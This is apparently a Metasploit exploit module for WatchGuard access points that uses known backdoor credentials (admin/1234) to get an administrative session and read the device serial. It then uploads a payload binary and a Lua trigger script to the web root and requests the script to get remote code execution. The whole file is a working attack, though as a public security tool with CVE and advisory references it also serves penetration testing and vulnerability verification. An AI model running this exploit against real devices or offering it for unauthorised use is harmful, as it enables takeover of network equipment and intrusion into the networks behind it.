##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'        => 'Watchguard AP Backdoor Shell',
      'Description' => 'Watchguard AP\'s have a backdoor account with known credentials. This can be used to
                        gain a valid web session on the HTTP administration interface. The administrator
						can then upload a shell directly to the web root to execute it.
						This module can also be used if you have legitimate access credentials to the device.',
      'References'  =>
        [
            ['CVE', 'CVE-2018-10575'],
	    ['CVE', 'CVE-2018-10576'],
	    ['CVE', 'CVE-2018-10577'],
            ['URL', 'http://seclists.org/fulldisclosure/2018/May/12'],
	    ['URL', 'https://watchguardsupport.secure.force.com/publicKB?type=KBSecurityIssues&SFDCID=kA62A0000000LIy'],
        ],
      'Author'      => 'Stephen Shkardoon ', # ss23 / @ss2342
      'License'     => MSF_LICENSE,
      'Platform'    => 'linux',
      'Targets'        => [ [ 'Automatic', { } ] ],
      'DefaultTarget'  => 0,
      'Arch'           => ARCH_MIPSBE,
    ))

    register_options(
      [
        Opt::RPORT(443),
        #Opt::SSL(true),
        OptString.new('WG_USER', [ true, 'The username to authenticate as', 'admin']),
        OptString.new('WG_PASS', [ true, 'The password for the specified username', '1234']),
      ])
  end

  def exploit
  begin
    res = send_request_cgi({
        'method'  => 'GET',
        'uri'     => '/cgi-bin/luci/',
        'headers' => {
          'AUTH_USER' => datastore['WG_USER'],
          'AUTH_PASS' => datastore['WG_PASS'],
        },
      })

    if res.nil? || res.get_cookies.empty?
	    fail_with(Failure::NotFound, 'Unable to obtain a valid session with provided credentials')
	  end
	  
	  # We have a valid session, so we should pull out the access credentials and find the serial number
	  sysauth = res.get_cookies.scan(/(sysauth=\w+);*/).flatten[0]
    stok = res.redirection.to_s.scan(/;(stok=\w+)/).flatten[0]
	
	  vprint_status("Got sysauth #{sysauth}")
    vprint_status("Got stok #{stok}")
    
    res = send_request_cgi({
        'method'    => 'GET',
        'uri'       => "/cgi-bin/luci/;#{stok}/html/Status",
        'headers' => {
          'AUTH_USER' => datastore['WG_USER'],
          'AUTH_PASS' => datastore['WG_PASS'],
        },
        'cookie'    => sysauth,
      })
    
    if res.nil? || res.code != 200
      fail_with(Failure::NotFound, 'Unable to request serial')
	  end
    
    # Pull out the serial and store it for later
    # var	device_serial = "20AP0XXXXXXXX";
    if res.body.match(/device_serial = "(\w+)";/)
      serial = $1
    else
      fail_with(Failure::NotFound, 'Unable to find serial in response')
    end
    
    vprint_status("Got serial #{serial}")

    # Finally, upload our payloads
    res = send_request_cgi({
        'method'    => 'POST',
        'uri'       => "/cgi-bin/luci/;#{stok}/wgupload",
        'headers' => {
          'AUTH_USER' => datastore['WG_USER'],
          'AUTH_PASS' => datastore['WG_PASS'],
        },
        'cookie'    => "#{sysauth}; serial=#{serial}; filename=/tmp/payload; md5sum=fail",
        'data'      => payload.encoded_exe,
      })

    if res.nil? || res.code != 205
      fail_with(Failure::NotFound, "Could not upload file 1: #{res.body}")
    end
  
    # Upload the lua script that executes our payload
    res = send_request_cgi({
        'method'    => 'POST',
        'uri'       => "/cgi-bin/luci/;#{stok}/wgupload",
        'headers' => {
          'AUTH_USER' => datastore['WG_USER'],
          'AUTH_PASS' => datastore['WG_PASS'],
        },
        'cookie'    => "#{sysauth}; serial=#{serial}; filename=/www/cgi-bin/payload.luci; md5sum=fail",
        'data'     => "#!/usr/bin/lua
os.execute('/bin/chmod +x /tmp/payload');       
os.execute('/tmp/payload');"
      })
    
    if res.nil? || res.code != 205
      fail_with(Failure::NotFound, "Could not upload file 1: #{res.body}")
    end
    
    # Remove the trigger script once we've got a shell
    register_file_for_cleanup("/www/cgi-bin/payload.luci")
    
    vprint_status("Uploaded lua script")
    
    # Trigger our payload
    res = send_request_cgi({
        'method'    => 'GET',
        'uri'       => "/cgi-bin/payload.luci",
      })
      
    vprint_status("Requested lua payload")
    
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      vprint_error("Failed to connect to the web server")
      return nil
    end
  end
end